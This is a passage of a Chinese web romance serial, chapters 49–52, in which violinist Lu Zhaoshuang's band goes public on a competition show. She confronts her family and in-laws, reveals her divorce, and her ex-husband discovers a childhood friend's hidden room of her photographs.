她拍了下手,朝大家微微笑道:“好了,只有斗志也没用,我们现在开始考虑吧,下一场我们究竟要选哪首歌,怎么编排,才有可能从那12个名额里出线。” 大家今晚被刺激到,商量到半夜才解散。 陆照霜多留了一会儿,整理了一下大家的思路,然后咬着笔尖往门外走。 “陆照霜。” 她下意识抬头。 林珩靠在门口,朝她伸出一只拳头,“从今天起,你不再只是小提琴手和作曲了,你是副队长了。” 陆照霜眉梢挑起,“喔,从首席到副队长,我这级别降得可够快的呀。” 林珩静静看着她,“想要吗?队长不是不能给你。” 陆照霜看他并没有开玩笑的意思,便也收敛了笑意,“不用,逃出人间是你这么多年的心血,我没有鸠占鹊巢的喜好。” “比起首席,副队长这个称呼我好像更喜欢一点,”她笑了笑,和林珩碰了下拳头,“我们一起赢下去吧,队长。” * 临近第二期节目录制,第一期海选马上就要在网络平台播出。 陆照霜是被徐勿凡叫醒的。 “喂,都十一点了,你今天怎么起这么晚?不是说好大家一起看节目的吗?”徐勿凡疑惑地问。 往常这人可都是第一个起床去练习室的。 陆照霜揉着惺忪的睡眼坐起身,看了眼时间,慢吞吞地说:“为了养精蓄锐,风暴要来了。” 徐勿凡看着外面晴空万里的天色:“?” 中午十二点,《乐队人》第三季正式上线。 播放数据从上线的那一秒开始疯长,热搜滚动刷新。 下午三点。 申城音乐厅内。 一声“卧槽”在排练前夕响起。 朱高远皱起眉头,一眼就找出了那个发出不和谐声音的人。 那人怀里抱着小号,另一只手却拿着手机呆呆看着。 朱高远不悦地瞥去一眼,“要排练了怎么还不放下手机?” “朱指挥,这个、这个、主要是……”那人有些语无伦次。 身边的人好奇地望过去,也跟着“卧槽”出声。 朱高远眉头拧得更紧,快步过去,直接伸手拿过那只手机,“你们在搞什——” 话音在看到屏幕时戛然而止。 “一个个怎么都这么神神秘秘的。”唐颖小声嘀咕着,伸长脖子往那边一看,然后怔在当场。 …… 萧烨如同往常一样走进办公大楼,却觉得浑身不自在。 今天落在他身上的视线,好像格外之多。 他走进电梯,借着电梯里的镜子,检查了一遍自己的衣着,确定自己外表上并没有什么异常。 更加一头雾水了。 电梯门打开,秘书处的门敞开着,里面的声音七嘴八舌飘了出来。 “卧槽,这真的是陆小姐吗,不是什么重名的人吗?” “当然是啊,你们又不是没见过,照片在萧总桌子上摆了那么久了,就是她呀。” “陆小姐原来是这种风格的吗?她不是搞古典乐的吗?” “你们说这事萧总知道吗?” “开什么玩笑,怎么可能不知道?” 萧烨心下一沉,快步走进去,在那几个秘书还围成一团没反应过来的时候,就直接劈手夺过了手机。 “萧总!” 秘书们霎时噤若寒蝉。 萧烨却已经根本没空理会他们的反应了。 他的目光死死停在手机屏幕上。 那是一个短视频。 熟悉到带着面具他也能一眼认出的那个人,站在聚光灯下,一把将面具撕下抛开,露出他从未见过的热烈专注的陌生表情。 隔着屏幕,她的目光像是落在了他身上,朝他微微一笑,然后以他再熟悉不过的风格屈膝行礼,“小提琴手,陆照霜。” 【作者有话说】 非常感谢宝子们的营养液和评论鼓励,作者死人微活了[三花猫头] 恋爱最美好的时候是暧昧的时候——《那些年我们一起追的女孩》 50/ 第50章 ◎背着别人,勾住了她的小指◎ 接到父亲电话的时候,陆照霜刚和逃出人间的其他成员完成了一遍排练。 她挂着耳机,点下接听,手上也没停,把大家失误的地方速记了下来。 陆父的声调并不高,甚至比往常都更平静,却正因如此,格外给人一种风雨欲来的压迫感。 他连名带姓叫她的名字,“陆照霜,你现在在哪?” “湘城。” “马上给我回家。” “知道,今晚的机票,不用等我吃饭,我到的时候就九点了。”她淡声说完,就直接挂断了电话。 练习室内,其他人都屏住呼吸,小心看着她。 陆照霜却像没事人一样,将笔帽合上,然后将自己记录下来的东西递给林珩,“你们继续排练吧,抱歉,我可能得明天才能回来了。” 林珩手上捏着那个笔记本,半眯着眼睛,显得十分怀疑,“你不会不回来了吧?” 陆照霜掀起眼睫,像看精神病一样看着他,“我们后天就要上场了,我不回来是要干嘛?” “就……比如,”林珩艰难地举例,“你爸不会把你锁在家里不让你出来吧?” 陆照霜微微一笑,“我爸只是凶,但不是□□,而且我是个成年人了,有人约束我的人身自由,我会报警。” “好了,我走了。”她朝大家挥了挥手,就拉起自己已经收拾好的行李箱出了门。 刚迈步出去,把门合上,她一转身,脚步又立刻停住。 郁思弦正倚在走廊对面,朝她晃了晃手机,“看来我们得一起回去了。” 陆照霜顿时便有点失语:“没想到……你也会被波及。” “这可不是波及,阿照。” 郁思弦纠正了一下她的措辞,走过来接过她手里的行李箱,“真要算起,这件事最开始就是我怂恿你的,我一直是你的同谋。天塌下来,我们也一起顶着。” 他还真是,从头到尾都一直在帮她善后。 陆照霜抿了抿唇,“既然你要这么说,我可不会再谢你了。” “为什么要谢我?”郁思弦一眨不眨地看着她,十分真诚地发问:“我们不是一起回去受罚的吗?” 他们站得太近了,陆照霜不由别开视线,率先朝电梯走。 郁思弦不紧不慢地缀在她身后。 明明他身高腿长的,随随便便就能走上来和她并排,偏偏他好像对跟在她后面这件事乐在其中。 “好啦,”陆照霜终于站定,回过头来,无奈地看着他,“和我一起走啊。” 郁思弦不知道是被她这句话哪里戳中了,愉悦地笑了一声,大步走到她身边。 两个人进到电梯,恰好有工作人员也走了进来,同他打招呼,“郁总。” 陆照霜立刻把头瞥向一旁的电梯墙壁,假装自己只是个路人。 郁思弦朝工作人员点了下头,便表情冷淡地站在电梯一角不说话了。 三个人的空间,一时便只剩下电梯井的运作声。 直到温热的触感碰上了陆照霜的手。 她下意识偏过头,郁思弦神情仍旧一派平淡镇定,外表完全看不出,他正借着行李箱的遮挡,勾住了她的小指。 陆照霜手上一使劲,终于迫使他垂眸朝她看过来。 她抬起下巴,睁圆了眼睛看着他——你就在节目组做这个? 郁思弦微微歪着头,一脸理所当然的诧异——有什么不可以吗? 他今天拉她的力道,和伊冬那天完全不一样,松到她可以轻易挣脱。 但她好像,不是很想那么做。 也许是察觉到她的默许,郁思弦的手指在她掌心轻轻划动了一下,有点像是挑衅、又有点像是逗她玩。 一点说不清道不明的痒意,从手心的神经末梢传来。 这就是把话都挑明了以后的暧昧期吗?陆照霜很没见识地心想。 就算是做着同样的事,但比起之前小心翼翼的试探和闪躲,现在好像更大胆、更危险。 也让人觉得更刺激。 陆照霜别开脸,用另一只手在脸侧用力扇了扇风,给自己人工降温。 天哪,她真的是太热了。 电梯抵达一楼。 陆照霜迅速抽开了手。 那位职员也恰在此时转身,朝郁思弦点了下头,“郁总,那我就先走了。” 对方离开后,陆照霜匆匆出了电梯,推开大厅的门径自往外走,根本不敢回头看。 “阿照。” 郁思弦慢悠悠地叫她的名字,扶着她的行李箱站在一辆车边,好整以暇地看着她,“要走去机场的话,我们恐怕赶不上时间了。” 陆照霜只好重新挪步回来。 她看着他的脸,真是不明白,这人怎么完全不脸红的? 她这么想了,也就这么问了,并十分怀疑地盯着他,“你是不是这些年背着我们谈过很多恋爱啊。” 倒不是对他的过去有什么莫名其妙的占有欲,就是真的很好奇啊,他怎么能比她这个结过一次婚的人还淡定啊。 郁思弦笑得肩膀微微耸动。 “阿照,是这样,”他语气听起来像是要给她讲一道数学题,睫羽下却闪动着丝丝促狭,“我们马上就要27岁了,想让我方寸大乱的话,牵一下手是不是太小学生了呢?” 陆照霜腾一下就连脖颈都烧着了。 她同手同脚地钻进副驾,“啪”一声把他的笑声锁在了车门外面。 他们的机票并不是一起买的,座位当然也没连在一起。 陆照霜在郁思弦后面几排。 飞机即将起飞,空乘提醒乘客关机的时候,陆照霜又看了一眼微信。 满屏都是密密麻麻的红点提示。 她一条也没点开,直接按下关机。 这下风暴是真的要来了。 她抬眸,还能看见前方那个熟悉的后脑,不自觉笑了笑。 风暴就风暴吧,没什么好怕的。 下了飞机,前往南郊别苑的路上,他们一起坐在出租车后排。 郁思弦目光轻轻扫过她侧脸,“你好像一点都不紧张。” “以前什么都没开始做的时候,我总是害怕各种东西,会不会对不起妈妈、会不会又惹爸爸生气、会不会让所有人失望……但真的开始做了以后,就不再这么想了。” 陆照霜笑了笑,“和他们待在一起组乐队真的很开心,比起来,那些担心的东西,我觉得都不重要了。” 说到这里,她偏头看向郁思弦,“现在可以告诉我了吗?你到底为什么会把我和他们拉到一起,因为我喜欢过繁星之后?” “三分之一吧,”郁思弦轻声道:“因为繁星之后,我知道你不讨厌这种风格的流行音乐。” “另外三分之一,是林珩找上我的时候,他们乐队构成里,有一个小提琴手,第一次听他们演出,我就觉得你真的很适合那个位置。” 而事实上,也确实如此,她远比他们之前的成员更适合那个位置。 陆照霜一时胸口酸胀。 不知是为他真的太了解她,还是为他从那么早以前,就一直在从她的角度考虑。 她轻声问:“还有三分之一呢?” “这个嘛,”郁思弦垂下眼帘,眸色被眼睫的阴影盖住,“我想我现在还不能告诉你。” 又是他惯常的卖关子环节。 但陆照霜现在已经渐渐察觉了,他所有对她不能言的隐瞒,最后大约,都与她有关。 她沉默了很久,“谢谢。” 郁思弦听得一笑,“不是说不会再谢我吗?如果是为了逃出人间,我说过,这件事归根结底,还是因为你自己和他们合得来。” “不,”她低声道:“是谢谢你,让我看清了我自己。” 郁思弦一怔。 出租恰好抵达陆家门口,陆照霜率先下了车,去后备箱拿行李,郁思弦慢了一步,下车时,她已经把后车盖合上,紧紧盯着近在眼前的大门。 她深吸了一口气,“走吧,思弦。” 按下家门密码,打开,客厅里坐着五个人,气氛十分诡异严肃。 她早就知道爸爸和郁叔叔会在,但为什么萧烨和他父母也在? 脑子里飘过无数思绪,但此刻她也只能先过去打招呼,“爸,叔叔阿姨。” 郁思弦跟着进来,也打了声招呼。 此刻陆父和郁父都各坐着一张单人沙发,萧家人一起坐在长沙发上。 萧烨朝里面坐了坐,让出了一个人的空隙。 陆照霜一眼也没往那边看,径自坐到了另一侧的长沙发上,郁思弦跟她坐到了一起。 陆父看到这一幕,心里冒出一股古怪的违和,但转念一想,这两人都是今天的盘问对象,坐一起也合理。 只有郁父的眼里闪过一丝异色。 “哎呀,阿霜,”最先开口的,是笑眯眯的萧母,“你不知道,今天突然在网上看到你的名字,可真是把我们都吓了一跳,你和思弦怎么都没提前说一声,就突然就跑去那种地方了?” “您说的是这个吗?”陆照霜直接点开《乐队人》的视频摆在桌子上,画面恰好就是逃出人间上场的那一幕。 看到自家女儿穿着黑色礼裙,脸上戴着个不伦不类的面具,出现在手机里,被不知道多少人评头论足。 陆父再也忍不住,怒斥了一句,“这是什么值得炫耀的东西吗,还不快给我关掉!” 陆照霜从善如流地按下了暂停,“以我们乐队现在的成绩,确实还不是什么能炫耀的事情。不过,参加这个节目、通过海选,每一步都是我们自己争取来的,没有借助任何外力,我们堂堂正正,我想这也不是什么不能见人的东西。” “你、你真是!”陆父气到指着她的手指都在颤抖,“比你妈还不像话!” “老陆,消消气,”萧父一边劝解,一边温声对陆照霜道:“阿霜啊,你之前不是还在那个交响乐团吗?大家劝了你那么多次,你都不肯辞职,怎么就……” 萧父目光落在她的手机屏幕上,眉毛和眼皮都皱起,有点荒唐地摇了摇头,“和这种人混在一起,搞这些不入流的东西去了?” 萧烨眼皮一跳,他还没忘记,他和陆照霜因为“这种人”这个措辞吵过的架,连忙道:“爸,你别——” 但来不及了。 “不入流?”陆照霜笑了一声,“那想必以前我搞古典乐的时候,在叔叔眼里应该挺入流的吧,但我好像也没见叔叔来听过我们的音乐会呀。” “陆照霜!”陆父冷下了脸。 但陆照霜像是没听到一样,还是笑眯眯地看着萧父,“萧叔叔平时好像挺崇尚爵士乐的,但您知道爵士乐是怎么来的吗?” “是19世纪还被歧视的黑人乐师,在低级酒吧、舞厅还有红灯区那些地方创作和发展起来的,只不过后来得到了美国白人群体的认可,进入了主流视野,才一步步发展到现在的。” “萧叔叔,”陆照霜语气听起来相当真诚,“在您看来,低级酒吧、舞厅、红灯区,是入流的地方吗?” 萧母下意识捂住了嘴。 萧父脸色青一阵白一阵,他位高权重,已经很多年没有人顶撞过他了,更何况这个人还是从小到大都在他面前乖巧懂事的“儿媳”。 “还不给我住嘴!”陆父“啪”一声把杯子摔碎在地上,阴沉地望着她,“谁教你这么对长辈没大没小的!” 稀碎的玻璃碎片在地面溅开,还好陆照霜今天穿的是长裤,所以也没有被溅到。 郁思弦顿时皱起了眉,想出声,但看到她的脸色,又重新沉默下去。 显然,这是她准备自己面对的主场。 陆照霜脸上的笑容也完全淡了下去,“如果不是萧叔叔先对我的朋友和对手们失礼,我也不会对他不礼貌的。还有爸爸,就算您是我爸,也没有权利打我,再出现上次的事情,我就不会再回家了。” 她以前和陆父吵架也有寸步不让的时候,但从未像今天一样,神挡杀神佛挡杀佛,不顾及任何人的体面。 一时两家父母都愣在了当场。 倒是郁父看了半天热闹,这会儿慢吞吞把手里的茶盏搁下,微微笑了笑,“说到底也就是件小事,大家没必要吵下去。现在也就播了一期节目,照霜这个小乐队,也没多少关注度,热搜该撤的撤,视频该删的删,下期退赛,过一阵也就没人讨论了,就当孩子们胡闹了一次。” 他语气如此轻描淡写,几句话,就直接判了逃出人间的死刑。 陆照霜目光落在郁父身上,目光冷下去。 她从小就知道,这个人有多冷血。 “哎,这样就对了,大家何必绕那么大圈子呢。”萧母这会儿才回过神来,喝了口水压惊。 “我拒绝。”一道平淡却不容置喙的声音响起。 所有人都诧异地向那头望去。 郁思弦神情未有丝毫波动,只像是在陈述一件基本事实,“他们乐队是通过正规流程走到这一步的,我是主办方,有责任保护他们的正当权利。” “思弦,”郁父被当场反驳,脸上有些挂不住,冷声警告:“别忘了公司到底是谁的。” 郁思弦轻笑一声,指节悠悠在膝盖上轻轻叩了叩,“从股份占比上来说,大概算您的吧。但您要么再想想呢?您真的有办法否定我的决策吗?” 郁父死死看着郁思弦的眼睛,攥着杯子的手倏然一紧。 父子两之间的暗潮涌动和郁家内部的事情,别人没法察觉。 萧母只是在郁思弦出头的这一刻,终于从一晚上让人无所适从的局面里,找到了一个可以抓住的对象。 她抚了抚自己的鬓发,一脸的为难和惋惜,“思弦,你也是阿姨看着长大的孩子,从小到大,你是最让人放心的,怎么这会儿阿霜不懂事,你也跟着胡闹呢?” 陆照霜脸色一变,“阿姨,我是什么不能为自己负责的未成年人吗?参加节目是我自己的选择,您有什么想说的,冲着我来,为什么要怪思弦?” 萧母看着陆照霜,就像看着一个胡言乱语的孩子,苦笑着摇了摇头。 她的话头仍旧是只冲着郁思弦的,语气甚至带着种怀念的意味,“思弦,你那个时候搬过来,人还那么小,你爸也忙,没个家人照顾,我和若华就时不时去看看你,小烨也经常去看你。” “这么多年了,有时候阿姨觉得,你跟自家儿子都差不多了,”萧母说到这里,不禁笑了笑,末了又哀哀叹了口气,“你现在这样,让我们难做,让小烨也难做……真的让阿姨很寒心。” 陆照霜一怔,在这一刻忽然懂了。 为什么萧母只冲着郁思弦去。 因为他们没什么可以辖制她的,却可以利用郁思弦幼年的不幸,挟恩图报。 原来如此。 “哈。”她笑出了声来。 这笑声实在突兀,萧母不由向她望过来。 说实在的,陆照霜从接到电话开始,非但没有觉得恐慌和害怕,反而有种微妙的亢奋,所有肾上腺素好像被激活,让她面对来自家庭的这场风暴,完全无所畏惧。 只有这一刻,她觉得疼了。 “阿姨,”她看着萧母,一字字道:“原来您小时候对思弦好,是为了现在来道德绑架他。那您当时对我好,是为什么?” 萧母脸色顿时一变,勉强笑了下,“阿霜,阿姨不是那个意思。” 陆照霜没有看她,目光移到她边上,郑重地看了萧烨一眼。 萧烨瞳孔蓦然一凝,不安的预感疯长,仿佛意识到她要做什么,“阿霜!” “思弦没什么让叔叔阿姨和萧烨难做的地方,因为我和萧烨早就离婚了。” 陆照霜看着屋内众人,又笑着补充了一句,“要看我们的离婚证吗?” 【作者有话说】 感谢宝子们的地雷,营养液,和评论鼓励![三花猫头] 50-60 第51章 ◎萧烨发现郁思弦的感情◎ 萧烨抱住脑袋,痛苦地闭上眼,全完了。 四位长辈从听到陆照霜那句话的震惊,到看到萧烨的反应,还有什么不能确定的? 陆父气得身体直抖,咬着牙问:“什么时候?” 陆照霜平静地回答:“七月末领的离婚证。” 那就是在陆奶奶八十大寿之前。 陆父的目光在她和萧烨之间转了几圈,先是荒谬地笑了一声,欲要说点什么,却猛地开始咳嗽,整个身子都咳得弓了下去。 到底是自己亲爸,陆照霜很担心他被她气得晕倒,起身过去轻轻拍了拍爸爸的背。 却被猛地一手拂开。 陆父怒瞪着她,一点点把咳嗽重新压住,“你自己主意大成这样,那还来跟我说什么?” 陆照霜手掌在半空中僵停片刻,默默收了回去。 她垂下眼轻声道:“抱歉,是我自作主张了,但无论您怎么看待这件事,我都一定会离的。” 她语气坚决,离婚这件事的主导者是谁,再明显不过。 萧父如有实质的冷厉目光落在陆照霜脸上,冷笑了一声,“呵,早知道都不是亲家了,何必过来丢人现眼,萧烨,还不走?” 他站起身便要拂袖而去。 萧母连忙一手拉住萧父,一边看着萧烨和陆照霜,强笑着打圆场,“小烨、阿霜,你们不是从小就感情很好的吗?这才过去多久,怎么就闹到离婚这种地步了呢?” 顿了顿,她忽然想起什么似的,急忙抬眼看向陆照霜,“阿霜,是不是因为那个白斯榕?” “妈!”萧烨脸色霎时惨白,“别说了!” 萧母恨铁不成钢地瞪了萧烨一眼,安抚地朝陆照霜笑笑,“你放心,阿霜,那都是多早以前的事情了,就算她现在再冒出来,阿姨也绝对不会允许她影响到你们之间的感情的。” 屋内一瞬变得落针可闻。 郁父像是吃到了什么大瓜,先前被郁思弦顶撞的不悦都忘在了脑后,惊讶地张大了嘴。 陆父原本被陆照霜气得垂下去的头也重新抬起,布满血丝的眼睛死死盯着对面的萧母和萧烨。 他的嗓音一下子就哑了,“这是什么意思?” 萧母被质问得有些尴尬,不太自在地别开了视线。 萧烨第一次感觉如此无力,“抱歉,陆叔叔……但我真的没有做什么背叛阿霜的事情。” “哈?”陆父冷笑出了声,目光在屋内转了一整圈,最后落在一边的陆照霜身上,“陆照霜,你来告诉我,这是什么意思?” “大概就是您想的那样。”陆照霜垂下眼睫,语调像设定好的机器,毫无波动。 陆父的胸口急剧起伏起来,“我把你养这么大,就是为了让你这么任人欺负,给我丢人现眼的吗?” 说着,他的手掌已经高高扬起。 郁思弦眼疾手快,一把将陆照霜拉到自己身后,攥住了陆父的手腕。 “陆叔叔,”他的语气不再客气,“您再生气,也不该冲着阿照发火。” 陆父的手臂被他牢牢握住,动弹不得,不由睁大了眼,“你!” “好奇怪。” 一道梦游似的声音忽从身后响起。 那语调让郁思弦心头一紧,他立刻回头去看。 陆照霜出神地望着陆父的方向,但眼里却没什么焦距,比方才说起萧烨时还要空。 “真的好奇怪啊爸爸,做错事的人又不是我,您看起来好像也想为我抱不平的样子,但为什么您要骂我丢人现眼?为什么要朝我发火?” “以前也是啊,”她喃喃道,“您和妈妈吵架的时候,经常说妈妈不知道照顾我,难道您很照顾我吗?您不是也一跟妈妈吵架,就气得好几天不回家吗?这五年我们一见面就吵架,难道不是您一直把您对妈妈的怒气发泄在我身上吗?” 陆父一时怔住。 她的眼瞳终于在此时找回了焦点,凝视着爸爸,一字字道:“您把我生下来,就是为了拿我出气的吗?” “阿照!”郁思弦立刻松开了陆父,转而拉住了她的手腕,心知不能再留下去了。 他把陆照霜挡在身后,面向屋内众人,语气虽淡,但任谁都听得出其中的冷意。 “爸,叔叔阿姨,我们今天回来,是因为上节目这件事没有通知过你们,所以来给你们一个交代。但也只是交代而已,你们的意见不会影响到我们的决定,除此以外,我想我们没有任何义务,要承担你们的指责。节目日程紧张,我们就不多留了。” 说罢,他拉着陆照霜径自走向门口。 满室之内,一时竟无人敢拦。 只是在即将从玄关口消失的那刹那,陆照霜脚步一停,又转过身,看向萧母。 “阿姨,我以前没想过,原来您早就知道白斯榕的事情,但您从没告诉过我。” 萧母愣了下,讪讪笑道:“那都是多早以前的事情了,有什么值得说的?” 陆照霜没有接她的话茬,而是自顾自继续道:“您经常说拿我和思弦当自家孩子看,我以前也是真的那么以为的,但是现在,我突然有个问题想问阿姨。” “如果在我和萧烨结婚前,您发现我其实一直对别的男人念念不忘,您会舍得让萧烨跟我结婚吗?” 萧母眼睛蓦然放大,嘴唇嗡动了一下,最后一个字都没能说出口。 隔着大半个客厅,陆照霜闭了闭眼,蓦地笑了一声。 “好的,我明白了。” 她不再回头看,反手拉住了郁思弦的手,将这栋屋子和屋子里的所有人都锁在了身后。 九月的天气,即便到了晚上十点,也仍旧是闷热的,被行人拉着的大型犬也恹恹地吐着舌头。 郁思弦却感觉不到热,所有的注意力都集中在了被陆照霜拉着的那只手上。 出了陆家以后她就一言不发地往前走,郁思弦不知道她打算去哪里,也许只是随便哪个方向。 但无所谓。 郁思弦愿意陪她漫无目的地走上一整夜。 直到一个小广场出现在眼前,陆照霜突然停下脚步。 小广场废弃已久,荒芜到根本没有人烟,路灯不知多久没有换过,光线昏暗极了,不多的运动器材和小孩的游乐设施也破损生锈,看起来只有中间的秋千架还勉强能用。 “我们小时候是不是常来这里捉迷藏?”她突然问。 郁思弦摸不准她什么意思,但还是点头,“应该是到初一的时候,这块地*皮被买走了,但不知道为什么又一直没开发,荒废在这里了。” 她轻声喃喃:“真可惜。” 郁思弦不至于在这种时候,会以为她惋惜的只是一个童年来过的广场,却也想不到如何安慰她,便只能沉默。 “我们过去坐坐吧。”陆照霜说着,已朝那边迈步。 郁思弦没反对,但在坐上秋千之前,他先检查了一下绳索的牢固程度,才让她坐下。 陆照霜握着陈旧的秋千绳,幅度不大地晃着腿,注视着他们落在地上的倒影。 她试图借助影子来麻痹自己,假装他们还是当年在这里捉迷藏的无忧无虑的小孩。 可哪怕影子看不出面貌、会因光源而扭曲变形,但还是和小孩子的体型与姿态迥然不同,不给人任何过去依旧的错觉。 她自嘲地一笑,“我今天回来之前,还以为不会有什么让我觉得伤心了。” 郁思弦看着她垂下的眼睫,胸口酸涩难明。 即便早就知道,成长与失去不可分割,却还是不希望她也同他一样,失去那么多东西。 “你呢,你伤心吗?”陆照霜偏头看郁思弦。 “不。” 陆照霜眨了下眼。 郁思弦没有回避她惊讶的眼神,“无论你指的是我爸还是别的人,对我来说,因为利益往来才关心我的人,我早都知道了。” 陆照霜一时默然。 忽然想起小时候,萧母对他们不同同学的态度区别,也许很多事情从一开始就是那样,只是从前她不愿去想。 “但是……”郁思弦犹豫了一下,“章阿姨不一样,从第一次见面到最后,我一直都很感谢她。也许比起其他人,她分给生活的那部分很少,但至少那部分确实是真实的。” 他垂下眼睫,“抱歉,我知道章阿姨让你觉得很痛苦。” 陆照霜仰头看着并不算圆的月亮,听着这番话,既觉得新奇,又觉得怅然。 他在抱歉什么呢?抱歉他不能与她的痛苦同仇敌忾吗? 但她并不需要他和她感到一样的痛苦,相反—— “我很高兴能听你这么说。” 郁思弦微微抬眼。 她因为陷入了回忆,眼瞳微微失焦,像短暂地退回童年,神情中有种小孩子一样简单的憧憬。 “和妈妈待在一起的时候确实让我觉得很疲惫,也不是没有埋怨过,妈妈为什么不能像别人的妈妈一样?但其实,可能就是因为她和别人不一样吧,所以她那种为了自己的梦想毫不妥协的样子……也总是让我觉得非常羡慕。” “可能这就是我在她和爸爸之间,总是会选择站在她那边的原因。就算痛苦,我也觉得她那样的人,很厉害。” 她笑了下,看向郁思弦,轻轻眨了下眼,“思弦,现在我有变得像妈妈一点了吗?” 郁思弦摇头,“你只像你自己。” “哈,”陆照霜既像是泄气,又像是松了口气,整个人肩膀塌了一下,“也是,说到底,不管妈妈的人生是什么样的,那也不是我的人生。” 她猛地往前荡了一下,然后停住,站起身,拍了拍自己的衣服,朝郁思弦伸出手,“我们回去吧,明天一早就回湘城,我还想和他们多排练几次。” * 在陆照霜和郁思弦走后,聚在陆家的三家人也很快散去。 如今他们的关系,再待在一起,只是徒增尴尬。 只有萧烨在把父母送走以后,又再次折身回来。 他咬住牙关,朝陆父深深鞠了一躬,“抱歉,陆叔叔,我和阿霜离婚这件事有不少误会,但我也确实,没有好好对阿霜,这是我的错,您想怎么对我都行。” 陆父靠坐在沙发里,扶着额头,沉沉地喘着气。 萧烨心知他不能奢求陆父的即刻谅解,只能表达他的决意,“对阿霜做的那些事,无论如何,我都一定会想办法弥补。” 陆父仍旧一言不发。 萧烨深吸了一口气,“那我就先告辞了。” 转身前,却瞥见桌上熟悉的手机,上面还显示着陆照霜戴着面具的那一幕。 她走得急落下了,但今天的这种情况,她显然是不可能愿意再回来了。 萧烨干脆准备给她送过去。 然而就在他的手要碰到手机前,陆父的视线也顺着他的手,看到那个画面。 一时怒从心起,陆父抢过手机,直接朝远处扔去,“你们都给我滚!” “啪!” 手机撞碎了客厅里的鱼缸,玻璃碎落一地,水哗啦啦往外流,还有跟着冲出来在地板上扑腾的鱼。 陆父却一眼也没有往那边看,抬脚上了楼梯,“砰”一声把卧室门摔上了。 一直躲起来的家政这时才敢出来收拾残局。 萧烨也立刻冲了过去,抢救陆照霜的手机。 他从玻璃渣里把手机抓起,就直接按了关机,暂时不敢再打开,只盼着她的手机够防水。 旁边的家政已经递了包纸过来,萧烨抓过一把,吸干手机表面的水分,又取开手机壳,准备擦干里面。 一张蜷曲肮脏的纸条闯进他眼里。 哪来的垃圾? 萧烨下意识就想丢掉,却在要松手的那一刹停住。 陆照霜虽然谈不上有什么洁癖,但也绝对不可能容忍这么脏的东西和手机挨在一起。 除非那是什么很重要的东西。 鬼使神差地,他翻开那张字条。 下一秒,他目光死死凝住。 就算字迹已经有些模糊,但他还不至于认不出,那是他二十年发小的笔迹—— “陆照霜,如果换我先遇到你会怎么样?” 【作者有话说】 宝子们,近几天可能会换张封面,但书名不变,到时候看到封面变了还请不要认不出来呀[三花猫头] 52/ 第52章 ◎萧烨打开郁思弦的暗房◎ 驶向江源名苑的路上,萧烨死死按着方向盘,劳斯莱斯如同暴走的野兽,狂躁地穿梭于车流,把一辆又一辆横亘在他面前的汽车和红灯甩在身后。 怀疑在脑内疯长。 两周年纪念日,陆照霜从酒店消失,他以防万一给郁思弦发消息询问,没有得到回复,但陆照霜下车回来时,降下的车窗内,郁思弦的脸却一闪而逝。 台风那晚在医院,郁思弦站在陆照霜身后,冷声警告他不要再去刺激陆照霜。 伊冬的厨房内,和郁思弦挨得很近、待了很久,出来以后满脸通红的陆照霜。 今天晚上,把陆照霜挡在身后,然后拉着她出了门的郁思弦。 …… 从未有人怀疑过郁思弦对陆照霜好的动机。 有什么好怀疑的?从小到大不一直是那样吗? 除了一起长大的陆照霜和萧烨,郁思弦和其他任何人都合不来。 谁会去苛责一个经历过那种事的人待人冷淡? 但如果剥去朋友的那层外皮。 甚至从很久以前,所谓的“朋友”,就是张该死的、掩耳盗铃的面具,那这桩桩件件,究竟意味着什么? 萧烨猛踩住刹车,才没有一头和郁思弦的家门撞在一起。 屋子是黑的,湖对岸那栋小楼也是黑的。 他们比他走得更早,却到现在都没有回来。 “哈。”萧烨笑得肩膀打颤,一拳砸在方向盘上,血丝从皮肤表面渗出来,他却感觉不到丝毫疼似的,大脑近乎机械地思考,他们现在还可能在哪里? 然而就在他已经调转方向,踩住油门的那一刹,好几个月前的某一幕忽然跃入脑海。 他倏然抬眼,望住二楼某处。 车门被他摔在身后,萧烨第一次不请自来,按下了郁思弦家的密码,径自朝二楼走去。 郁思弦。 如果你可以把这一切掩盖在朋友的假面下这么多年,那那个被你费心掩盖的房子里,究竟还会藏着什么? 他再一次站到了那扇暗门前,没有丝毫犹豫,抬脚踹开。 木门像坏掉的人偶,“嘎吱嘎吱”地晃动,被萧烨砰一下推开,彻底报废。 走廊光线倾泻而入,沼泽一样深埋的暗房终于重见天日。 他有一瞬几乎难以呼吸。 缠满了整间屋子的照片,密密麻麻倒映在他的瞳孔里。 他一眨不眨地一张张看过去,血丝爬满了他的眼睛。 他再也忍受不了,扑进洗手间吐了出来。 …… 将陆照霜送到家,郁思弦才折身回来。 看到那辆劳斯劳斯时,他已有所觉。 打开家门,客厅里灯光晃到刺眼,却空无一人,他沉默着继续上楼,没有做徒劳的尝试,直接走向了那间暗房。 他精心藏起的秘密,已经变成了一个被拆得稀碎的破布娃娃,萧烨背对着他,坐在地毯上,满屋照片悬在萧烨头顶。 这是郁思弦第一次,从外人的角度,看到从前的自己,究竟是什么样子。 “看来我该早点换个密码的。”他平静地说。 萧烨终于转过身来,不知道发生了什么,身前的衬衫和额前的发丝几乎湿透了,看起来像是溺水者刚从水里浮出来,猩红的眼睛对上了他的眼睛。 下一刻,萧烨单手撑地站起身,跟着,一只拳头猛地砸在了他脸上。 郁思弦咬着牙关,没有出声,后退半步,伸手攥住萧烨砸过来的第二拳,“萧烨,这一拳就当我欠你的,我受了,接下来我不会再忍着了。” “你怎么敢的,郁思弦?”萧烨死死盯着他,“如果我早就知道,从一开始,我就不会跟你交换密码。” 如果早就知道郁思弦有这样的心思。 他就不可能让郁思弦和陆照霜单独留在国内上大学,不可能让郁思弦一次又一次去听陆照霜的音乐会,不可能让郁思弦住在陆照霜的湖对岸…… 如果他早就知道。 那他就不会放心地让郁思弦待在她身边。 “你早就知道又如何?”郁思弦嗤笑了一声,“你就来得及补救了吗?萧烨,如果需要有人跟你抢,你才知道珍惜,那你的感情,也实在是廉价到……” 郁思弦顿了顿,语气漠然,一字字落地:“一文不值。” 萧烨目光一凝。 “也许我算不得光明磊落,但你呢?”郁思弦上下打量他一遍,神色冷得出奇,“你们离婚究竟是因为什么,你不会这就忘了吧?萧烨,是你两年来一点点把她逼走的,最后还敢用心有旁骛来侮辱她。” 末了,他笑了声,语气里不乏轻蔑,“你问我怎么敢?比起你,我怎么都要更有资格吧?” 萧烨瞳孔骤然一缩,五指再次紧紧攥起,却在一触即发的那一刻,闭了闭眼,沉沉地呼了口气,一把将他推开,唇角勾起一个讽刺的弧度,“你觉得你已经赢了吗?” 